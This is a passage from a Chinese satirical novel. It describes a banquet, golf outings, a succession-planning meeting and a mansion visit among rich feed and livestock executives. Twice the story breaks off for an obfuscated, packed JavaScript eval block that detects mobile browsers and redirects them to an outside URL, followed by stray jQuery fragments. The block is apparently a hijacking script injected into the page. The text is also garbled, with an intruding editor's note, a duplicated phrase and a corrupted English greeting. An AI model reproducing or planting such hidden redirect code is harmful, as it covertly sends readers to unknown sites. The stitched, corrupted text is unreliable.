请客做东的俱乐部会员何正道坐在正对门口的主座上。其他会员则根据各自公司市值高低、年度盈利多少、产业规模大小等指标,依照从高到低、从多到少、从大到小的原则,以及大家心中默契默认的势利综合实力排序,依次落座。何正道左边依次是柳花明、谢晓峰、叶孤城、黄一笑、张红兵、万能才等人,右边依次是魏万里、Mr.David、宋二海、梁孝儒、张四海、张翼德等人。待各路大佬纷纷落座后,罗玉凤、梅如花、圣甘地、陈冠军及其他陪同嘉宾也依次坐下。接着是金融理财、基金信托从业者,牢牢占据了便于敬酒赞美、近水楼台先得月的最佳位置。最后是做饲料原料、动保、养殖设备的“小弟们”,用崇敬的目光、婴儿般的微笑环视一圈英雄偶像或心目中的目标大客户,行完注目礼后,小心翼翼地落座在上菜与斟酒的位置。
直径超10米的大圆桌上,摆放着陈年飞天茅台、窖藏多年的啸鹰葡萄酒、珍藏已久的苏格兰威士忌等珍贵名酒,还有俱乐部常年必备的美国奥特八公司特制啤酒。大圆桌中央放着一个直径数米的鲜花篮,让整个房间芬芳四溢、香气扑鼻。围桌而坐的四十多人身后,站着十几位端庄大方、双手交叉放于身前腹部、时刻待命的美女服务员。
等待上菜的间隙,大家继续寒暄闲聊。
叶孤城抽着古巴雪茄,看着陈冠军恭维道:“听说陈总最近天天练球,球技进步神速,挥杆动作越来越像罗里·麦克罗伊,你1号木杆的开球落点都有300多码了吧?明天你得先让我两个TEE台,不然我就成了你的提款机!”
万能才闻声,也赶紧扭头看着圣甘地恭维道:“我们圣总的沙坑和长草救球水平,绝不会比泰格·伍兹差多少。果岭边的高抛切杆,比起菲尔·米克尔森绝对有过之而无不及。明天每个洞你得先让我一杆,否则我会输得连裤衩都不剩。”
圣甘地被万能才这么一夸,“啪”的一声将镀金烟斗放在身前大圆桌上,伸长脖子隔空对着叶孤城与陈冠军,信心爆棚地大声说:“万董过奖了!我这阵子手感状态不太好,前几天在深圳观澜湖高尔夫球场,站在黑TEE上抓到7只Birdie,但也吞下3个Bogey和1个Double Bogey,总成绩才70杆。不过话又说回来,那个球场的球道实在太宽了,打完18洞,我居然每次开球都能稳稳上球道。”
陈冠军隔空听完,也不甘示弱,带着几分不服气说:“深圳观澜湖球场确实相对简单些,记得上次我发烧到38度多,带病还抓到了一只Eagle、五只Birdie,最后打出了68杆呢。”
万能才与叶孤城听着两人的自夸,相视一笑,仿佛对明天的输赢已经胸有成竹。
坐在何正道右边的魏万里、Mr.David、宋二海、张四海、梁孝儒、张翼德等人,也在交头接耳,热烈地议论着:
“按现在的猪价行情,魏董您今年至少能赚150亿元吧?听说您又成功连任全国人大代表,还当上了广东省工商联副主席!”
“上次你推荐的大补丸,我吃了这几个月,感觉效果不太明显,还有没有别的祖传宫廷秘方?”
“中国中医博大精深,越古老的秘方越管用、越靠谱!下次你来我那儿,我给你介绍一位祖传十五代的老中医,他不仅能把《黄帝内经》《本草纲目》倒背如流,对阴阳五行、八卦、奇门遁甲也无一不精通。”
“中国传统文化源远流长、充满智慧,全世界都趋之若鹜,争相学习古人的智慧。据说《孙子兵法》《三十六计》《鬼谷子》都被欧美的西点军校、哈佛、耶鲁、剑桥、牛津等知名大学列为必修教材,我们却还在糟蹋老祖宗留下的宝藏,真是可惜!”
“现在很多年轻人都太‘娘娘腔’,身上缺了我们年轻时那种天不怕地不怕的冲劲,更没有李逵、武松那样的梁山好汉气概。”
陪同的嘉宾、小弟和金融基金从业者们相互微笑示意,彼此心照不宣:“我们要齐心协力把各位大佬侍候好,也要互相抬轿。毕竟‘人上人相互抬,人下人相互踩’,这是我们千年传承的做人做事智慧。”
随着山珍海味、奇香异果等美味佳肴陆续摆满转动的圆桌,何正道起身礼节性地寒暄几句,先敬了一杯欢迎酒,祝大家吃好喝好聊好,众人便放开手脚,自在地吃了起来。
几分钟后,陪同的嘉宾、小弟和金融基金从业者们开始轮流起身,端着酒杯提着酒瓶,此起彼伏地围桌敬酒。若是俱乐部会员的大佬,他们便满脸堆笑、俯身哈腰:“某董,您的大名如雷贯耳,决策英明如有神助!我敬您一杯!”大佬们赶紧在塞满食物的嘴里腾出空隙,端起酒杯,含混地说:“唔!好!都好!谢谢啊!”接着快速嚼几口,将酒水与食物一同咽下。
若是陌生美女敬酒,他们便眉梢上扬、眼睛发亮,嘴角一挑:“来,我干了,你随意!”“干”字说得格外铿锵有力。
若是陌生男性,他们便眯起眼睛,一副憨态可掬的样子:“这位董事长,请问您贵姓?还请多多关照!我们干一杯!”说着弯腰双手递上名片。
十几轮敬酒下来,众人头上冒起热汗,脸上泛起红晕。歌颂声如滔滔江水连绵不绝,恭维话似黄河泛滥一发不可收拾。等陪同人员敬完一圈,各位会员董事长、大佬们也开始依次回敬。几十个回合后,大部分人面红耳赤,语速缓慢结巴,情绪却异常亢奋。不少男人像杀红了眼的公牛,梗着脖子说:“感情深一口闷,兄弟我先干为敬!”不等对方回应,便豪情万丈地一饮而尽。
被敬酒的人急忙喊道:“兄弟!慢点……慢点啊!留点,分两口……”敬酒的人见状更来劲,大声说:“不行不行,养金鱼呢?这也太不够兄弟了吧!赶紧一口闷了!”
这时,梅如花、罗玉凤等女士也适时举起高脚水晶葡萄酒杯,轮番登场、各展其能,新一轮敬酒就此开启。陪同嘉宾、随行人员与金融基金从业者们再度加入“战局”,场面很快陷入一片热闹的混战。陪同嘉宾们敬酒格外殷勤,饮酒也格外爽快;金融基金从业者们则战战兢兢、小心翼翼,生怕下一秒冷落了某位重要人物,或是未能引起某位董事长会员的足够关注。有几个性子急躁的随行人员,恨不得站到大圆桌中央,当众一口气喝完整瓶威士忌或葡萄酒,誓要让所有人都看到自己的真诚可靠。
大家对彼此的相互吹捧与称赞,心里都清楚是怎么回事,却也都心照不宣地感到满意,乐得皆大欢喜。偶尔有个别会员大佬会故作谦虚,嘴里塞满食物,含糊不清地凑近对方说:“没有没有,您过奖了……”恭维的人立刻补充道:“凭您的战略眼光和英明睿智,绝对是有过之而无不及。”大佬听后心领神会,顿时眉开眼笑,端起酒杯愉快地回敬。
桌上的酒瓶不到两小时就见了底。何正道对身后待命的接待人员说:“白酒、红酒、黄酒,每样再各拿一箱来!”
三箱酒重新摆上桌面,陪同嘉宾、随行人员与金融基金从业者们又开启了新一轮敬酒。尽管语速变得缓慢结巴,情绪却亢奋到了极点——脸色红润发亮,头顶冒着热气,说话声音洪亮有力,唾沫横飞。身体虽已摇摇晃晃、站立不稳,彼此间的互动却愈发热络,搂肩搭背、亲密无间,仿佛多年挚友。
此时,最初的座次已彻底打乱,众人按照“以目的为纽带、以利益为核心”的原则重新落座。
梁孝儒教授似乎有些心事,一边神色凝重地低头看手机微信,一边用牙签剔牙缝,还不时把剔下的食物残渣随手抹在圆桌边缘下方或座椅扶手上。当牙签够不到口腔深处的磨牙时,他干脆放下牙签,用手指伸进去掏取。
谢晓峰呆呆地望着杯盘狼藉的桌面,似乎还留恋着刚才大快朵颐的用餐场景。
那些只顾敬酒还没吃饱的陪同嘉宾和随行人员,正用筷子在残羹剩汁里仔细寻找零星的食物精华。
柳花明与几位从事境外信托业务的金融从业者热情地互加微信。金融从业者们拍着胸脯,不断向柳花明承诺着什么;柳花明摸着高高的发际线,一边沉思盘算,一边频频点头。
万能才与张四海、张红兵约定了去他杭州工厂参观交流的时间,还趁机提前造势:“这次交流的首席科学家是我哈佛医学博士时的同学,现在是斯坦福大学的顶级教授,Mr. Jack。”
抽着古巴雪茄的叶孤城和戴金丝眼镜的张翼德,正认真听梅如花用播音员般标准的普通话,盛赞她心中的“超级英雄”——□□总统,以及她曾作为电视台记者出访俄罗斯、远远见到□□总统的经历。
宋二海感激地看着Mr. David,兴奋地说:“上次您邀请我们去苏格兰,在有600多年历史的圣安德鲁斯老球场打球,还住在800欧元一晚的城堡酒店,真是very good!Very nice!”Mr. David听完罗玉凤的翻译后,高兴地甩了甩卷曲的金发,脸上露出得意的微笑,再次向帝豪俱乐部发出邀请。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334305|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罗玉凤随即翻译道:“他说下次邀请俱乐部所有会员及陪同嘉宾,一起去美国大师赛固定举办地奥古斯塔球场打球,之后再乘坐他的贝尔429WLG直升机,品尝1992年窖藏的啸鹰葡萄酒。”宋二海摸着光头,受宠若惊地仰视着Mr. David,用蹩脚的英文回答:“真是very good!Very nice!等you邀请俱乐部时,w“一定参加!”
黄一笑兴奋地握住魏万里的手,激动地说道:“承蒙您的抬爱与关照,那小弟我明天就为您安排洛杉矶与芝加哥的参观行程。这次宾夕法尼亚大学的首席霉菌毒素处理专家James Cameron将全程陪同您!”说罢,他不忘对魏万里身边正抽着烟斗的圣甘地发出邀请:“圣总务必在百忙中赏脸光临,一同到我们总部参观指导工作。”
VIP包房的厕所里,不间断传出“哇哇”的呕吐声,伴随着连续冲洗马桶的水声。厕所门一次次开合间,飘出阵阵呕吐物特有的酸臭味,令人忍不住恶心干呕。
何正道见桌上的酒菜只剩空酒瓶与空碗碟,便起身礼节性地询问众人:“诸位!还要不要再加几个菜、来几箱酒?”
众人齐声急呼:“不了不了,必须总量控制,喝到尽兴就行。再拿就全喝翻了,还是点到为止,适可而止!”何正道看着东倒西歪的众人说:“好!那大家就以茶代酒!”
身后的服务员闻声迅速撤下酒杯,换成已冲泡好的“冰岛古树单株”普洱茶。众人举起清香的茶水,再次举杯邀约、碰杯祝福,接着促膝热议、拥抱交谈,场面再度火爆,气氛重新被点燃,众人的情绪也再次亢奋起来。席间你兄我弟、情同手足,皆相见恨晚——仿佛只要肯掏腰包,便愿为对方两肋插刀;财路如手足,利益如衣服,谁若动了“衣服”,便要打断他的“手足”。
直到谢晓峰打着哈欠、睡眼惺忪地起身揉着太阳穴说:“时间不早了,我看今天就差不多散了吧!”何正道顺水推舟,起身举起茶杯接话:“来来来,大家一起干了这杯茶!今晚就到这里,各位回房早点休息!明天早上8点,准时在1号洞的TEE台举行开球仪式!”
众人均起身穿衣、拎包、拿手机,依依不舍地喷着酒气、松着裤腰带、打着响嗝,意犹未尽地走出包间。在走廊上,又一番交头接耳、反复握手拥抱,再次相互恭维与盛情邀约,如漆似胶,难舍难分。
何正道、张翼德、叶孤城、魏万里等麻将友单独聚拢,询问酒店麻将室的位置。剩下迷迷糊糊、摇摇晃晃的众人三五成群,在酒店大厅里仍继续交流、不断握手拥抱,再次发出盛情邀请……在服务员带着鄙夷的眼神里,众人啐着唾沫、剔着牙、抹着嘴,各自晃晃悠悠、踉踉跄跄地回房。
次日早上8点,昆明滇池湖畔高尔夫球场1号洞的TEE台上,在专业摄影组“长枪短炮”的镜头下,所有参赛成员身着统一的天神集团文化T恤,举行了盛大的开球仪式。随后众人分成4人小组,开始进行全体两轮最低总杆赛,此外还设有最远开球距离奖、最近旗杆奖、一杆进洞奖等奖项。4人小组内,成员之间还以500元/洞的标准相互比拼输赢。叶孤城、陈冠军、万能才、圣甘地4人也如愿被分在同一小组。
参加完开球仪式后,我站在1号洞的红TEE旁,观看了梅如花、罗玉凤、谢晓峰及一位陪同男嘉宾组成的4人小组开球。首先开球的是谢晓峰,只见他自信地从球包里抽出1号木杆,上半身几乎没有旋转,完全靠手臂将杆举过头顶,挥杆轨迹像农民工抡大锤一般,用力把小白球砸出了100多码远。击球完毕后,梅如花高呼:“好球!”罗玉凤也不甘示弱,大声称赞:“谢董开得真远啊!”
第二个开球的是梅如花。她先在发球台上不断试挥杆,反复用手臂将1号木杆甩得呼呼作响。随后深深吐了口气,微笑着走到两个发球点之间,准备击打球童已为她放好的小白球。只见她扎起马步,像用斧头砍树似的,用杆头将球侧砍出去。只听“噗嗤”一声闷响,小白球被侧砍出几十码远,落入灌木丛中OB了。她笑盈盈地回身看着围观的众人,用标准的普通话说道:“今天状态不太好!”然后怏怏走出发球区。
第三第三个开球的是罗玉凤。只见她同样扎起马步,挥杆击球时,杆头仿佛粘了块口香糖,她像要把口香糖用力甩出去似的挥杆。结果和梅如花一样,小白球滚进右侧十几码外的野草丛中,被判OB。由于手臂发力过猛,挥杆过深,发球台上的草坪被挖出一个碗口大小的坑。
第四个开球的是陪同男嘉宾。他的挥杆动作像用扫帚扫地,轻轻完成扫击。小白球连滚带爬,被扫出约150码,陷入球道边沿的长草里。
依照高尔夫规则,梅如花与罗玉凤均被罚两杆,需在发球台原地重新开球。或许是吸取了第一次1号木杆开球失败的教训,或许是无所谓再补开几次、再罚多少杆,又或许是她们有着高尔夫美巡赛顶尖职业球员般的强大自信——这次,梅如花选了3号球道木开球,结果低飞slice(右曲球)落入水中;罗玉凤选了4号长铁杆开球,却击了空,球在原地纹丝未动,草坪上却被挖出一个更深的坑。
当梅如花微笑着再次走上发球台准备开球时,她随身携带的手机突然响了。她随手把球杆往上一抬,夹在胳肢窝下,站在发球台上旁若无人地用十分标准的普通话接起电话:
“喂!你好!”
“什么?”
“啊!”
“张院士去世了!”
“什么时候?”
“哦!”
“昨天夜里去世的。张院士今年贵庚?”
“啊!原来刚满93岁呀!真是天妒英才!国家又失去一位栋梁之材,实在让人难以接受!”
“你把他的照片发给我,我先发个微信朋友圈沉痛哀悼他!”
“你现在赶紧在我们《农牧经济前沿》杂志的公众号上写一篇缅怀他的软文,晚上再加班做一个专门悼念他的视频。”
“记住,一定要感人肺腑,能让人痛哭流涕的那种。”
“你问我父亲今年高寿?我父亲早就去世了哦。”
“去世时还不到六十岁。”
“什么?让我节哀顺变?人生老病死,这不都是很正常的事嘛!你放心,我非常想得开,早就坦然接受他去世的事实了!”
…………
谢晓峰看了看被堵在后面、正等候上发球台开球的几组人,又扭头看向大声接电话的梅如花,赶紧干咳几声,有些尴尬地对罗玉凤说:“要不,我们还是下去球道随便补一颗球吧?堵在后面准备开球的人前面,总不是办法。”
一如既往,帝豪高尔夫俱乐部的所有参会人员,下午在滇池湖畔高尔夫球会湖景酒店的会议室里,举行了热烈的学习交流讨论会。交流讨论的核心内容,是会员大佬们的事业如何传承、基业如何长青。
何正道坐在主席位致完欢迎词,接着是坐在他左侧的俱乐部会长宋二海介绍本次交流讨论会的主题,并率先发表对事业接班人的看法与意见。随后是坐在宋二海旁边的魏万里重点发言,轮到何正道右侧的柳花明发言时,他并未谈及自己事业接班人的问题,而是兴致勃勃地宣讲“在一亩养猪场的屋顶装满光伏发电,相当于年产三吨石油”的最新创富途径。坐在魏万里左侧的Mr.David则不断甩动卷曲的金色长发,现身说法,由罗玉凤翻译:“我从父亲手中继承了奥特八公司,承蒙各位厚爱与关照,公司如今发展蒸蒸日上,经营业绩屡创新高。我们国家对中国传统文化十分认同、仰慕已久,也成立了很多孔子学院,举国学习。从中国传统文化中领悟的经营管理之道,值得全球所有管理者深刻体会、认真学习。我们奥特八公司全体员工,也在学习中国传统文化的思想精髓,以及察言观色、左右逢源、八面玲珑等为人处世的智慧。”
经过约两个半小时的会员轮流发言、一小时左右的自由交流讨论,最后由宋二海综合所有人的看法与意见,总结出两种主流观点:
一是在企业接班人问题上,子女应接全接、能接全接;不想接也得接,不能接就赶鸭子上架也得接;没有困难要接,有困难解决困难后依然要接。总之他们打父辈打下的江山基业,掌控权绝不能旁落,继承事业的人,必须是自己信得过且有亲密血缘关系的人,二者缺一不可。二是企业的所有权与经营权彻底分离。企业老板向股东化、特定功能化转变,管理经营者向专业化、职业经理人化发展,企业完全建立在科学的制度与流程之上,让有能力者担任相应职位,但他们对此顾虑重重,忧心忡忡。因为我们受数千年帝王世袭制度的影响极为深远,导致大部分人在多数时候,始终强调无条件的忠义精神和家族本位的世袭传承思想,而遵守契约精神、尊重市场经济发展客观规律、遵循文明社会制度规则的意识却相对淡薄。我们某些传统文化或思想,或许就像一个长100米、宽100米、高100米的正方体,无论它被推翻或变换多少次摆放形式,都只是换了一个面,其长度、宽度、高度和形状,从未从根本上、本质上真正改变过。在重大发展战略的决策过程中,我们往往会从潜意识里融入过多个人主观或个人英雄主义色彩,存在太多独断专制、固步自封的自我中心倾向,以及太多由虚幻美好愿景铺就的通往地狱深渊之路。当我们渴望他人理解和宽容时,希望对方宰相肚里能撑船;而需要自己理解和包容别人时,却秉持“有仇不报非君子”的观念;面对强权或暴力时,我们倾向于退一步海阔天空、忍一时风平浪静;面对弱者或谦卑者时,却信奉“狭路相逢勇者胜”;受他人牵连需要为自己辩护时,坚定认为“出淤泥而不染”;欲加罪于别人时,却坚信“近朱者赤近墨者黑”。我们总是在不断轮回,机械重复过去;从历史中吸取的唯一教训,就是从不吸取任何历史教训;总觉得过去才是最好的,现在和明天都应向过去的昨天或遥远的古代学习;总在刻舟求剑,不敢面对现在,也不愿展望未来;总在倒行逆施,不会革新现在,也无法创造未来。帝豪高尔夫俱乐部的会员们,大部分人也想实现所有权与经营权的彻底分离,推行可永续经营的职业经理人制度,但缺乏相应的思想文化底蕴支撑、社会财富分配与福利保障体系融合,以及契约精神和法制文明环境。思想文化的革新与法制文明的升华,远比科技进步带来的日新月异更加艰难,也更加漫长曲折。我们也尚未建立完善的私有财产保护制度,以及公平、透明、健康的市场经济环境。
第三天早上,帝豪高尔夫俱乐部全体人员转移至昆明玉龙湾高尔夫球场,继续第二轮比赛切磋。当天中午,随着两轮比赛圆满结束,球场会所大厅举行了盛大的颁奖典礼,奖项种类繁多,最低总杆奖、最佳挥杆动作奖、最远开球距离奖、最近旗杆奖、最佳推杆奖等逐一颁发,70%以上的参赛人员都获得了领奖机会。
当天下午,我开车将专门负责接送的叶孤城,以及魏万里的贴身秘书沈朝阳,一同送抵昆明长水国际机场。叶孤城乘坐的航班能正常飞往北京,但沈朝阳预定的航班因机械故障取消。于是,我又将沈朝阳送回滇池湖畔高尔夫球会湖景酒店。
沈朝阳一直是魏万里的私人秘书,跟随魏万里多年,也参加过俱乐部多次聚会,而我却是第一次参加这种饲料与畜牧行业金字塔尖人物的聚会。帝豪高尔夫俱乐部所有成员所持公司股票资产的总市值近万亿元。
我与沈朝阳在湖景酒店共进晚餐时,有些羡慕地感慨:“这几天的聚会大概要花费100万元吧!这次聚会真让我大开眼界,我从未经历过这样的大场面,一次性见到这么多行业大佬!你却早已司空见惯!”
他却不以为意,认为这次聚会只是极为普通的一次,没什么值得大惊小怪的,并向我讲述了俱乐部上个季度在四川成都聚会的情况——柳花明请客做东时的热情接待盛况,以及他那令人瞠目结舌的豪宅与花园,令人印象深刻、叹为观止。他讲起那次成听到我提及那次聚会之行,他的情绪迅速亢奋起来,目光灼灼地看着我,一边手舞足蹈,一边绘声绘色地讲述起那段终生难忘的经历。
帝豪高尔夫俱乐部的会员,尽是富甲一方的亿万富豪,也都是历经商海沉浮的社会焦点人物。奇珍异宝、钻石翡翠,于他们早已司空见惯;名表名酒、美宅豪车,更是应有尽有。他们常年出入各大城市的高端商场、豪华酒店、奢华会所与顶级餐厅,可到柳花明的居所参观后,才发觉自己竟如此“简约朴素”,如此孤陋寡闻——甚至比未经世事的天真孩童更显懵懂,比深居闺中的黄花闺女更为拘谨。面对眼前景象,他们除了发出“哇”“哇”的惊呼、“噢”“噢”的赞叹,便已词穷语尽,任何描述都显得苍白无力。
从成都双流机场迎接开始,他们便方寸大乱,如林黛玉进贾府般步步留意、时时谨慎:每人配备一名身着燕尾服的专职司机、一名戴墨镜与通讯耳机的专职保镖,以及一辆劳斯莱斯幻影专车;提前包下五星级酒店的两整层,每层配备2名专属服务员24小时值守,电梯口另有2名健硕保镖全天候守卫。
次日中午,抵达柳花明居所时,他们更是如刘姥姥进大观园般眼花缭乱、惊叹不已。相思木面板配钛合金边框的德国碧方大门巍峨雄壮,门前站着一位来自英国伦敦的白人管家——他身着黑色燕尾服、灰色马甲、褐色马靴与洁白衬衫,系着红色蝴蝶领结,手持礼帽,带领4名英姿飒爽的安保人员,微笑点头致敬,彬彬有礼地鞠躬,用地道伦敦腔说道:“Wee to my home! Can I help you?”
跟随迎宾小姐轻盈的步伐跨进大门,壮阔的草坪、薰衣草的花海、生机盎然的草木世界映入眼帘;清澈见底的恒温泳池边,鳞次栉比地布列着奇山异石;古朴的全冠紫薇、飘香的缅桂、苍翠的竹林错落环绕于山石间;阔叶的广玉兰、傲然的雪松、高大的银杏树挺拔立于碧绿草坪上;忙碌的园丁们停下手中活计,纷纷微笑着向他们逐一行注目礼。
两排百年红豆杉的尽头,一座庞大的欧式别墅巍然耸立,磅礴庄严的气势扑面而来:高大的罗马柱、朱红的拱门、曲折的回廊;闪烁的琉璃瓦、大理石外墙、三段式退台的四坡顶;高峻的门厅、黄花梨木大门、铝合金装饰线条;黄龙玉石转角、宝瓶式女儿墙、玫瑰花造型的无氧铜栏杆。
四名婀娜多姿的日本女仆热情分列两排,文静端庄地站在门口,双手交握于腹前,90度鞠躬,用甜美语气齐声问候:“こんにちは!いらっしゃいませ!”
别墅大厅地面由五彩斑斓的天然石英岩无缝拼接而成,光洁如镜、美轮美奂,璀璨得像七月浩渺的银河;大厅前部正对门口处,摆放着灵动缥缈、巧夺天工的四联荷花苏绣屏风;中央正上方,晶莹剔透的水晶吊灯从金色圆顶垂泻而下,散发着明亮柔和的光;胡桃木与玫瑰木拼装的四壁古香古色、宁静高雅;大厅左侧中部的客厅里,摆放着尽显奢华尊贵的意大利埃奇奥·拜洛迪总统元首级全套家具,纯手工编织的波斯地毯让整个空间满溢古朴艺术气息;左侧后部的德国西曼蒂克厨房里,高鼻卷发的西厨与体格敦实的中厨轮流向他们微笑脱帽致意;大厅右侧则分布着7间安保及相关服务人员的专用宿舍。
沿着海冰蓝色石英岩铺设的台阶、扶着金丝楠木扶手的楼梯缓缓登上二楼,5间总统套房级的卧室巧妙分布在四周。其中一间面积超100平方米的衣帽套间内,挂满了量身定制的古驰、阿玛尼、杰尼亚西服,以及LV、PRADA、香奈儿等最新款服装,还有各类限量版箱包、典藏版鞋帽,琳琅满目、应有尽有。
在异常惊讶的沉默中,他们缓缓跟随柳花明的步伐,伸长脖子,像追赶投喂者的鸭群般,拥挤着、点头着、惊叹着。我们咋舌着,走进恒温恒湿的地下负一层继续参观。刚到负一楼楼梯口,一阵沉香木特有的香气便扑面而来,细如游丝,沁人心脾。原来楼梯一侧的墙壁上,整齐排列着众多沉香木。正对楼梯口的宽大墙面上,一幅完整的《清明上河图》被巧夺天工地平雕在十几米长的巴西玫瑰木板上,人物、马骡、桥船、城楼栩栩如生,河流波纹、枝条阴影、衣服褶皱与玫瑰木的天然花纹及拼接纹路完美融合,浑然一体。负一楼的各个墙体转角处,都摆放着用小叶紫檀木圆雕而成的活灵活现的十二生肖。八百罗汉图则以极为精湛的雕刻工艺惟妙惟肖地浮雕在一块巨大的紫心木板上,每尊罗汉神态各异、细致入微,眉毛胡须皆清晰可见。
靠南面的墙壁上挂着齐白石的虾、徐悲鸿的马、郑板桥的竹、王成喜的梅;北面的墙壁上挂着梵高的《星空》、大卫的《拿破仑一世及皇后加冕典礼》、米勒的《拾穗者》、莫奈的《日出·印象》。由数块乌木拼接雕刻而成的巨型帆船位于负一楼大厅中央,水手们的八块腹肌、振翅欲飞的海鸥群、目光坚毅的船长、久经风霜的桅杆,皆以炉火纯青的手法雕刻、登峰造极的工艺打磨,乘风破浪的远航场景犹如3D立体电影画面般清晰呈现。
他们目瞪口呆地垂着头,用脚跟蹭着地,眼睛睁得又大又圆,惊愕地半张着嘴四处张望。柳花明探头,大家便一起探头;柳花明站立,大家就跟着碎步立定。穿过厚重的防火防盗门,沿着彩莹玉石铺设的台阶继续下到地下负二层。钢混剪力墙结构的外墙与花岗岩堆砌的内墙构成坚实厚重的双层墙壁,确保地下负二层在正常自然状态下,人类可感知范围内实现零振动、零干扰、零噪声。古朴的银质壁灯散发着微弱的暖光,将温传导和光污染降至最低。主机位于地面的中央空调、智能空气过滤系统与恒温恒湿自动控制系统,保证负二楼内常年温湿度高度一致且均匀。一排排干净光洁的白橡木酒架上,整齐陈列着柏图斯、罗曼尼·康蒂、拉图、啸鹰、拉菲等不同年份的数千瓶世界顶级葡萄酒。
16. 第 16 章
帝豪高尔夫俱乐部在昆明的聚会结束后,魏氏集团的魏万里便一直留在昆明避暑,直到中秋节前后才返回广东。后来每逢炎热的夏天,他也都会到昆明避暑。
从我认识何正道起,只要有机会,他都会带我认识帝豪高尔夫俱乐部的会员,或是饲料与畜牧行业的其他成功人士。正是在何正道的不断引荐下,我和魏万里渐渐熟悉起来。魏万里有时也会单独邀请我一起打高尔夫球,或是喝茶聊天,谈论古今中外的各种奇闻轶事。
魏万里做人做事低调内敛、简朴随和,讲一口地道的“粤式”普通话,外表与广东街头穿“人字拖”的普通大叔并无太多区别。或许很多人的语言表达能力表面像丛林深处的溪水般清澈透明,底层却潜藏着污浊的淤泥;而魏万里恰恰相反,他的普通话表达并不华丽流畅,甚至有些简单乏味,却深沉而朴实。
一个平常的夏末傍晚,我和他在夕阳下喝茶,他忽然问起我的家乡:“听何正道董事长说,你的家乡非常偏僻贫穷。你手机里有没有家乡的照片或视频,让我看看?”
我打开手机凑到他身边,给他看了一些在家乡随手拍的照片和视频。他仔细看完后,良久才抬起头,眼眶隐隐有些湿润,静静看着我轻声说:“要不是亲眼所见,真不敢相信,现实世界里居然还有这么贫穷落后的地方。”
他微微思索片刻,当场对我承诺,每年给我的家乡捐款50万元,让我替他帮助那些需要帮助的人。
他突如其来的决定让我深感意外和惊喜,一时不知该说什么。他揉了揉眼睛,耐心解释道:“我们魏氏集团有个慈善基金会,每年都会用它帮助弱势群体或有需要的人。”(注:原文最后一句“毕竟‘你好我好大家好’才是真”未完整,润色时保持原样)
的群体,有时也会捐赠给教育和医疗机构。你不必有任何顾虑或心理压力,先回去看看,调查统计真正需要帮助的人数,尤其是那些上学有困难的年轻人,我们更要大力帮扶,让他们能像你一样实现走出大山的梦想,真正摆脱贫困。你给我一个银行卡号,50万元善款,我过几天就转到你卡上。”
接着,他又问了我家乡的具体位置和现状,以及我的过往经历。他听后似乎觉得不可思议,用手掌摸着脑门思索片刻,然后满脸严肃地对我说:“以后每年50万元善款,你具体想怎么使用,不必花时间向我汇报使用明细,也无须费精力说明使用细节。尽管用它们去帮助真正需要的人,我相信你能帮我把这件善事办好。”
他转给我50万元善款后,我组织成立了计划实施小组,在家乡开启了一段慈善之旅。我为此想了许多办法,尝试了好几种方案,帮助过一些孤寡老人和孩子:不仅亲自给他们分发食用油、大米、衣服、煤炭等生活必需品,还为其中一部分人改善了居住环境;我也让几个初中刚毕业的青少年如愿进入了他们喜欢的职业技术学校,还在我曾就读的小学设立了贫困助学基金与奖学金。曾经我以为慈善是件很容易的事,但当我真正着手去做时,才发现它根本不是我想象的那样简单。科学的慈善事业不是按总人数平均分配善款和物资,也不是凭个人偏好决定帮助对象,更不是见者有份、讲究先来后到。
慈善的本质,是让孤单无助的人在生活和工作上得到帮助,心灵和精神上获得安慰;让身陷困境与绝望的人看到明天的希望,拥有向往美好未来的勇气。
面向社会大众的慈善事业,是一项科学的系统工程。它需要完善的制度与流程支撑,需要完备的理念与思想引导,而不是仅仅靠金钱和物质的简单发放与赠予,更不是靠个人的意气风发、单枪匹马与满腔热血。
假如有一天,我也有幸成为亿万富翁,如果选择做慈善,我想我会更多地资助优秀的思想家、哲学家、文学家等,帮助他们出版著作,让他们的深刻洞见在世间广为流传。我觉得一个民族的命运走向、是非善恶、行为意识和价值取向等,植根于其思想和文化的土壤之中。思想和文化才是推动经济、科技与文明进步的真正基石。行为意识与价值取向的偏差,思想和文化的落后,是绝大多数贫穷的根本原因。
2017年11月,何正道带我参加了在四川成都举行的深圳正方康地饲料公司老员工联谊会。联谊会由辽宁和牧神股份公司董事长唐大海主持,会议主要交流讨论饲料中减少氧化锌添加量的替代方案,以及规模化养殖场的持续发展给饲料与畜牧行业带来的全新机遇和挑战。
深圳正方康地饲料公司是中国改革开放后第一家纯外商合资企业,也被誉为中国饲料与畜牧行业的“黄埔军校”。参会人员大多是原深圳正方康地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334306|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饲料公司的老销售员。“正方康地三杰之一”的张四海是他们中入职最早、资格最老、参会最积极的销售员,但这次并未如约到场。那时他销售业绩一般,却因做人处世情商极高,离职前曾担任销售部副经理。
会议在唐大海的主持下进行,参会人员积极讨论、踊跃发言。虽然他们中的绝大多数人多年前就已离开深圳正方康地公司,但许多人并未改行,仍坚守在饲料与畜牧业领域,继续从事相关产品的销售工作。真正自主创业成功、成为行业顶尖人物的,只有何正道与唐大海。何正道在公共场合不善言谈、不擅辩论,因此联谊会交流讨论的最终结论,几乎只有唐大海一个人的声音,大多数人都察言观色、随声附和,完全赞同唐大海的观点。毕竟“你好我好大家好”才是真好的,让唐大海满意是开展销售业务的基础,也是推动产品进入牧神股份公司采购目录的第一步!
